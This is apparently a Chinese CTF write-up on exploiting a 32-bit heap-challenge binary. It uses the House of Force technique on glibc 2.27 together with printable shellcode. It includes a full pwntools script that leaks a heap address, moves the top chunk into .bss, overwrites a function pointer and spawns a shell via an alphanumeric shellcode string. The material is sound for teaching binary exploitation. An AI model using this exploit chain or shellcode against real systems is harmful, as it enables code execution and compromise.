實(shí)驗(yàn)環(huán)境
Ubuntu18.04,glibc-2.27背景介紹
1、 House of force是利用早期glibc庫進(jìn)行堆分配時(shí)存在的缺陷,從而對(duì)內(nèi)存進(jìn)行任意寫的攻擊方式。當(dāng)初次申請(qǐng)堆塊時(shí),程序會(huì)映射一塊較大的chunk作為top chunk,之后再進(jìn)行申請(qǐng)時(shí)如果堆塊較小,將從這個(gè)top chunk切分出合適的塊,剩下的部分形成新的top chunk。而house of force就是利用了形成新top chunk時(shí)簡(jiǎn)單將原地址加上切分大小的缺陷,使得該top chunk被移動(dòng)到任意位置,從而在下一次malloc時(shí)產(chǎn)生任意寫的問題。
要利用這一漏洞,需要程序存在堆溢出問題,能夠覆寫top chunk的size段。同時(shí),還要求能確定目標(biāo)地址與堆地址的偏移量,以便于top chunk能移動(dòng)至目標(biāo)位置。
2、 字符串shellcode指的是由可見字符構(gòu)成的shellcode。舉例而言,字母'P’對(duì)應(yīng)的十六進(jìn)制為0x50,翻譯成匯編指令為push %rax??梢允褂胊lpha3等工具生成自定義shellcode。
題目分析
程序只有二進(jìn)制文件,這里為了講解方便,編譯時(shí)保留了調(diào)試信息。首先查看保護(hù)機(jī)制:
32位程序,存在可讀可寫可執(zhí)行段,代碼段固定加載到0x8048000,不能修改got表。
執(zhí)行程序,大致觀察程序流程:
程序首先要求用戶輸入name,然后會(huì)返回輸出name相關(guān)信息。進(jìn)入循環(huán),當(dāng)用戶輸入S時(shí)允許進(jìn)一步產(chǎn)生三次輸入,當(dāng)用戶輸入L時(shí)程序退出。除一開始的name以外,程序并不會(huì)輸出用戶之前輸入過的信息。
接下來IDA查看函數(shù)入口:
其中prepare函數(shù)如下:
其中welcome函數(shù)用于輸出treehole的banner。anymore函數(shù)用于讀入一個(gè)字符,判斷是否需要退出程序。readstr函數(shù)如下:
注意到該函數(shù)存在兩個(gè)注意點(diǎn):紅圈內(nèi)a2用于給定最大輸入字符個(gè)數(shù),但其類型為unsigned int,因此當(dāng)傳入-1時(shí)能引發(fā)過量寫入。藍(lán)圈內(nèi)對(duì)字符大小做了限定,只允許輸入ASCII碼在32~126內(nèi)的可見字符。
confusename函數(shù)定義如下:
其對(duì)指定的字符串做了一系列異或運(yùn)算。
接下來的strncpy將ninput開始的0x50個(gè)字符拷貝到name處。使用ojbdump可以看出,name和ninput相鄰,當(dāng)name填滿后printf會(huì)繼續(xù)向后輸出ninput的值,該值恰是堆上某chunk的地址。因此當(dāng)輸入的name超過50字節(jié)后,程序會(huì)泄露堆地址。
main函數(shù)使用的ptr是指向anymore函數(shù)的指針,該指針在bss段,可以在接下來的步驟中被修改,從而劫持函數(shù)控制流。
主要輸入函數(shù)pourout代碼如下:
首先讀入一個(gè)int整數(shù)(readint函數(shù)簡(jiǎn)單使用atoi,此處略去不表),然后申請(qǐng)這個(gè)數(shù)字+4(4用于存放后面輸入的一個(gè)int)大小的塊,并向這個(gè)塊寫入該大小指定的字符。然后讀入一個(gè)int,并將它緊靠用戶輸入的字符串放入塊中。
漏洞利用點(diǎn)就在于如果readint讀入一個(gè)負(fù)數(shù)(如-1),將會(huì)申請(qǐng)到一個(gè)最小塊,然后允許用戶過量寫入(前文提到,readstr的長(zhǎng)度判斷存在unsigned int的問題)。readint此處實(shí)現(xiàn)了對(duì)可見字符這一限定的繞過,從而等價(jià)于允許用戶輸入最多4字節(jié)的任意字符。
那么題目的思路便可以總結(jié)為:
1、 調(diào)整top chunk到ptr附近
2、 通過申請(qǐng)塊時(shí)的readint,修改ptr為目標(biāo)代碼指針
3、 利用RWX的漏洞,事先寫入字符串shellcode,在第2步中使用
如何調(diào)整top chunk呢?根據(jù)32位程序chunk的8字節(jié)對(duì)齊原則,只需要利用程序存在的-1任意寫問題,即可產(chǎn)生堆溢出問題,修改top chunk的prev_size段,并使用readint來輸入0xfffffff(即-1),程序如下:
io.sendline('S')
io.sendlineafter('wanna say?', '-1')
io.sendlineafter('secrets...','A'*12)
io.sendlineafter('do you like?','-1')
則達(dá)到的效果為:
紅圈內(nèi)為用戶申請(qǐng)到的chunk,可見其后的top chunk的size被修改為0xffffffff,則下一次申請(qǐng)時(shí)可以繞過對(duì)chunk大小的驗(yàn)證。
這里為什么一定要繞過這一驗(yàn)證呢?因?yàn)閜tr位于bss段,其地址低于top chunk。當(dāng)malloc一個(gè)塊時(shí),如果使用top chunk,會(huì)首先檢查其大小是否合適,然后將top chunk的地址加上塊的大小,來實(shí)現(xiàn)top chunk的移動(dòng)。如果想讓top chunk重定向到小地址,需要malloc一個(gè)負(fù)數(shù),而負(fù)數(shù)在unsigned int翻譯時(shí)會(huì)成為大正數(shù),不再使用top chunk切分,而是直接在libc加載地址前使用mmap映射。如果將top chunk修改為0xffffffff,能使得chunk的分配采用切分top chunk的方式,從而將top chunk向低地址移動(dòng)。
接下來可以再申請(qǐng)塊,將大小設(shè)定為目標(biāo)地址減去top chunk地址,實(shí)現(xiàn)top chunk的移動(dòng)。這里可以將目標(biāo)地址設(shè)定為ptr-0x10,則可以使得chunk head后直接readint輸入shellcode地址即可實(shí)現(xiàn)修改ptr,劫持控制流。
# move top chunk to .bss section
func_ptr = 0x804b090 -0x10
target_addr = func_ptr - 4
current_addr = heap_base + 0x278
io.sendline('S')
io.sendlineafter('wanna say?', str(target_addr-current_addr))
io.sendlineafter('secrets...','B'*12)
io.sendlineafter('do you like?','-1')
因此需要準(zhǔn)備好shellcode。這里可以從網(wǎng)上搜索到32位程序的一條字符串shellcode:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
直接正常輸入即可。這里有兩種放置方式,一種是放到ptr前,然后在當(dāng)次填充中即可順便修改ptr;一種是放到正常狀態(tài)的堆里,然后再用一次malloc修改ptr。由于這里ptr在bss段的偏移是0x90,而shellcode長(zhǎng)度147字節(jié)超過了0x90,所以采用了第一種方法。那么在第一次修改top chunk大小前,先填充這個(gè)shellcode即可。這也是之前的使用0x278的原因。
可見字符串shellcode如上所示。調(diào)整ptr到0x8eb61d0即可。(即heap_base+0x1d0)
運(yùn)行腳本,最終攻擊結(jié)果如下:
腳本完整代碼如下。shellcode和調(diào)整top chunk的方法不唯一,這里只是列舉其中一種情況。
from pwn import *
from pwn import u32
io = process('./a.out')
context.terminal = ['tmux','splitw','-h']
# context.log_level = 'debug'
# gdb.attach(io, 'b main')
def leak_heap_base():
name = b'A'*100
io.sendlineafter('tell me your name:',name)
raw = io.recvuntil('Enjoy')
rawbase = raw[raw.find(b'. Enjoy')-4:raw.find(b'. Enjoy')]
return u32(rawbase.ljust(4,b'\x00')) & 0xfffff000
heap_base = leak_heap_base()
log.success(f'Leak heap base : {hex(heap_base)}')
# write shellcode
shellcode = 'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA'
shellcode_func = heap_base + 0x1d0
io.sendline('')
io.sendline('S')
io.sendlineafter('wanna say?', str(len(shellcode)))
io.sendlineafter('secrets...',shellcode)
io.sendlineafter('do you like?','-1')
# modify size of top chunk
for i in range(31):
io.sendline('')
io.sendline('S')
io.sendlineafter('wanna say?', '-1')
io.sendlineafter('secrets...','A'*12)
io.sendlineafter('do you like?','-1')
# move top chunk to .bss section
func_ptr = 0x804b090 -0x10
target_addr = func_ptr - 4
current_addr = heap_base + 0x278
for i in range(10):
io.sendline('')
io.sendline('S')
io.sendlineafter('wanna say?', str(target_addr-current_addr))
io.sendlineafter('secrets...','B'*12)
io.sendlineafter('do you like?','-1')
# getshell
io.sendline('S')
io.sendlineafter('wanna say?', '-1')
io.sendlineafter('secrets...','')
io.sendlineafter('do you like?',str(heap_base+0x1d0))
io.interactive()